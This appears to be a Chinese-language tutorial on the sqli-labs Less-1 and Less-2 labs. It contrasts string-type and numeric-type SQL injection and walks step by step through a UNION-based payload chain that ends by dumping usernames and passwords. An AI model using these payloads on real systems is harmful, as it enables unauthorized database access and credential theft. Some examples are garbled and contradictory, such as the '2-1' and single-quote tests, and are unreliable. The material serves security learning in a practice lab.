字符型注入和数字型注入的区别,及判断方法,源码含义,Payload构造
SQL注入的本质就是:用户输入的内容被当成SQL代码执行了。
正常情况下,用户输入的id=1应该只是作为"数据"去数据库里查找id=1的那条记录。但如果网站没做过滤,用户输入的恶意内容就会被拼接到SQL语句中,变成数据库命令的一部分。
你提供的源码是Less-1,标题写着 Error Based - String(基于报错的字符型注入)。
phpif(isset($_GET['id'])) // ① 检查URL里有没有id参数
{
$id=$_GET['id']; // ② 把URL里的id值取出来,直接赋值给$id变量
// 下面这行是核心中的核心!!!
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// ③ 把$id直接拼接到SQL语句中,注意$id两边有单引号 ' '
echo $sql; // ④ 这个是自己加的,便于理解
$result=mysql_query($sql); // ⑤ 执行SQL查询
$row = mysql_fetch_array($result); // ⑥ 获取查询结果
if($row) // ⑦ 如果查到了数据,显示用户名和密码
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else // ⑧ 如果没查到,显示错误信息
{
print_r(mysql_error()); // 把MySQL报错信息打印出来
}
}
第②行 + 第③行 = 漏洞根源:
$id是从用户输入直接拿过来的,没有任何过滤,然后直接拼到了SQL语句里。
而且注意SQL语句的构造方式:
sqlSELECT * FROM users WHERE id='$id' LIMIT 0,1
$id被单引号 ' 包裹起来了,这就是字符型的特征。
| 对比项 | 字符型注入(Less-1) | 数字型注入(Less-2) |
|---|---|---|
| 源码SQL | WHERE id='$id' | WHERE id=$id |
| id两边有引号吗 | ✅ 有单引号包裹 | ❌ 没有引号 |
| 注入时需要闭合引号吗 | ✅ 需要先闭合前面的引号 | ❌ 不需要 |
| 注释后面多余引号 | ✅ 需要注释掉后面的引号 | ❌ 不需要 |
| 典型闭合方式 | 1' --+ | 1 and 1=1 |
看源码这一行:
php$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$id被单引号包着,说明数据库把id当字符串来处理。
Less-2的源码(数字型)是这样的:
php$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$id没有引号,说明数据库把id当数字来处理。
记住这个判断口诀:
源码里变量两边有引号 → 字符型 源码里变量两边没引号 → 数字型
这是判断字符型/数字型最经典的方法。
?id=1
页面正常显示用户名密码 → 说明存在交互
如果是字符型,输入:
?id=1' --+
页面正常显示 → 确定是字符型
解释:
sql-- 你输入的:1' --+
-- 拼接后:SELECT * FROM users WHERE id='1' --+' LIMIT 0,1
-- ↑前面的'闭合了 ↑--+把后面的' LIMIT 0,1都注释掉了
-- 实际执行:SELECT * FROM users WHERE id='1'
?id=1' and 1=1 --+ → 页面正常(真and真=真) ?id=1' and 1=2 --+ → 页面异常/无数据(真and假=假)
?id=1 and 1=1 → 页面正常(真and真=真) ?id=1 and 1=2 → 页面异常/无数据(真and假=假)
注意:字符型用and测试时,两边都要加引号 '1'='1',否则会被当成字符串的一部分。
?id=2-1
如果是数字型:MySQL会计算 2-1=1,显示id=1的数据
如果是字符型:MySQL会把2-1当成字符串,强制转换为数字2,显示id=2的数据
所以:
?id=2-1 显示的是id=1的内容
?id=2-1 显示的是id=2的内容
-- 和 #在字符型注入中,源码SQL是:
sqlSELECT * FROM users WHERE id='$id' LIMIT 0,1
我们输入1',SQL变成:
sqlSELECT * FROM users WHERE id='1' LIMIT 0,1
注意:后面还有一个多余的单引号 ' 和 LIMIT 0,1。
如果不处理掉,SQL语法还是错的!
所以我们要用注释符把后面的内容"注释掉"(变成注释,不执行)。
| 注释符 | 写法 | 说明 |
|---|---|---|
-- | -- 空格 | 单行注释,注意--后面必须有空格! |
--+ | --+ | URL中+会被解析成空格,所以--+ = -- 空格 |
# | # | 单行注释,URL中写%23 |
/**/ | /*内容*/ | 多行注释 |
输入:?id=1' --+
拼接后的SQL:
sqlSELECT * FROM users WHERE id='1' --+' LIMIT 0,1
-- ↑闭合 ↑--+把后面都注释掉了
实际执行:
sqlSELECT * FROM users WHERE id='1'
联合注入的前提是:页面有回显(能把查询结果显示在页面上)。
?id=1' order by 1 --+ → 正常 ?id=1' order by 2 --+ → 正常 ?id=1' order by 3 --+ → 正常 ?id=1' order by 4 --+ → 报错(Unknown column '4')
结论:表有3个字段。
原理:order by是按第N列排序。如果列数超过实际字段数,就会报错。
?id=-1' union select 1,2,3 --+
union 是纵向拼接两张表,它有个强制要求:前后两张表的列数必须完全一致。
为什么用-1而不是1?

因为union会把两个查询结果合并显示。如果id=1能查到数据,页面会显示id=1的结果,我们注入的union select结果就被"挤"到后面去了,看不到。

用-1(数据库里不存在id=-1),第一个查询查不到数据,页面就会显示union select的结果。
显示位判断:页面上出现2和3,说明第2列和第3列的数据会显示在页面上。
?id=-1' union select 1,database(),version() --+
database():返回当前数据库名 → securityversion():返回MySQL版本 → 5.7.26?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

解释这条SQL:
information_schema:MySQL的系统数据库(元数据库),存储了所有数据库的结构信息information_schema.tables:系统库中的tables表,存储了所有表的信息table_schema='security':筛选数据库名为security的表table_name:表名字段group_concat():把多个结果用逗号连接成一串在数据库术语中,schema(模式)是一个逻辑概念,用于组织数据库中的对象,包括表、视图、索引、存储过程、函数、主键、外键等。可以把schema理解为数据库中的“文件夹”,用于分类和隔离不同的对象,实现逻辑上的组织和权限控制 。
MySQL:在MySQL中,schema和database是同义词,语法上CREATE SCHEMA和CREATE DATABASE作用相同 。也就是说,在MySQL里,创建一个数据库就相当于创建了一个schema。
PostgreSQL:一个数据库可以包含多个schema,每个schema可以包含表、视图等对象。schema提供命名空间,用于区分不同对象,查询时可以显式指定schema名称 。 Oracle:schema与用户绑定,每个用户对应一个schema,用户名就是schema名。schema中的对象都属于该用户,管理schema实际上就是管理用户 。
SQL Server:从SQL Server 2005开始,schema与数据库用户分离,schema是独立的命名空间,用户可以有默认schema,但schema本身是独立对象 TencentTencent。
结果:emails,referers,uagents,users
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
解释这条SQL:
information_schema.columns:系统库中的columns表,存储了所有字段的信息table_name='users':筛选表名为users的字段column_name:字段名字段结果:id,username,password
为什么有 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS?
因为只限定了表名,没限定数据库名
?id=-1' union select 1,2,group_concat(username,':',password) from users --+
结果:Dumb:Dumb,Angelina:I-kill-you,Dirty:Dirty
| 函数 | 作用 | 示例 |
|---|---|---|
database() | 返回当前数据库名 | security |
version() | 返回MySQL版本 | 5.7.26 |
user() | 返回当前数据库用户 | root@localhost |
@@datadir | 返回数据文件路径 | /var/lib/mysql/ |
@@version_compile_os | 返回操作系统 | linux |
group_concat() | 将多行结果用逗号连接 | a,b,c |
concat() | 将多个字符串连接 | admin:123456 |
concat_ws() | 用指定分隔符连接 | `admin |
length() | 返回字符串长度 | length('abc')=3 |
substr() | 截取字符串 | substr('abc',1,1)='a' |
ascii() | 返回字符的ASCII码 | ascii('A')=65 |
information_schema是MySQL 5.0+自带的元数据库(metadata database),它存储了MySQL服务器上所有数据库的"结构信息"——比如有哪些数据库、每个数据库有哪些表、每个表有哪些字段等。
重要:只有MySQL 5.0以上版本才有这个库,5.0以下只能靠猜表名和字段名。
| 字段名 | 含义 |
|---|---|
table_schema | 表所属的数据库名 |
table_name | 表名 |
table_type | 表类型(BASE TABLE/VIEW) |
| 字段名 | 含义 |
|---|---|
table_schema | 字段所属的数据库名 |
table_name | 字段所属的表名 |
column_name | 字段名 |
data_type | 字段数据类型 |
sql-- 查所有数据库名
SELECT schema_name FROM information_schema.schemata;
-- 查security数据库下的所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema='security';
-- 查users表下的所有字段名
SELECT column_name FROM information_schema.columns WHERE table_name='users';
-- 查security数据库下users表的所有字段名(更精确)
SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users';
?id=1' and 1=1 --+ → 正常 ?id=1' and 1=2 --+ → 异常(确认字符型) ?id=1' order by 3 --+ → 正常 ?id=1' order by 4 --+ → 报错(字段数=3) ?id=-1' union select 1,2,3 --+ ?id=-1' union select 1,database(),version() --+ ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ ?id=-1' union select 1,2,group_concat(username,':',password) from users --+
?id=1 and 1=1 → 正常 ?id=1 and 1=2 → 异常(确认数字型) ?id=1 order by 3 --+ → 正常 ?id=1 order by 4 --+ → 报错(字段数=3) ?id=-1 union select 1,2,3 --+ ?id=-1 union select 1,database(),version() --+ ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ ?id=-1 union select 1,2,group_concat(username,':',password) from users --+
核心区别:数字型不需要闭合引号,不需要'和--+来注释后面的引号。
?id=1' --+正常显示就是字符型?因为字符型源码是 id='$id',你输入1' --+,SQL变成:
sqlSELECT * FROM users WHERE id='1' --+' LIMIT 0,1
--+把后面的' LIMIT 0,1都注释掉了,实际执行WHERE id='1',语法正确,查到id=1的数据,页面正常。
如果是数字型源码 id=$id,输入1' --+,SQL变成:
sqlSELECT * FROM users WHERE id=1' --+ LIMIT 0,1
1'不是合法数字,MySQL会报错或强制转换,页面不会正常显示。
--+和#有什么区别?都是注释符,效果一样。--+在URL中更方便(+自动转空格),#在URL中要写%23。
group_concat()?因为union select只能显示一行结果。如果有多行数据(比如多个表名),不用group_concat()就只能显示第一个。group_concat()把所有结果用逗号连成一串,一次性显示出来。
'测试?可以,但效果不同:
?id=1' → MySQL会把1'强制转成1,页面可能正常显示?id=1' → 语法错误,页面报错所以加'报错→字符型,'不报错→可能是数字型(需要进一步用and/or确认)。
LIMIT 0,1是什么意思?LIMIT 0,1表示从第0条开始,取1条数据。也就是只返回第一条结果。
字符型:有引号,要闭合,后面注释要跟上 数字型:没引号,直接拼,and/or来验证 判断法:加引号,看报错,报错就是字符型 查字段:order by,从小到大试 查显示位:union select,负数id让位 爆数据:information_schema是宝藏,tables查表columns查字段